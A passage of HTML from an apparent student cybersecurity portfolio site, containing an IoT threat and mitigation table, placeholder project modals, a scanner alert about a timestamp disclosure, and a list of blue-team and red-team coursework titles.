class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 257747436Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 350400823, which evaluates to: 1981-02-07 14:33:43
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div 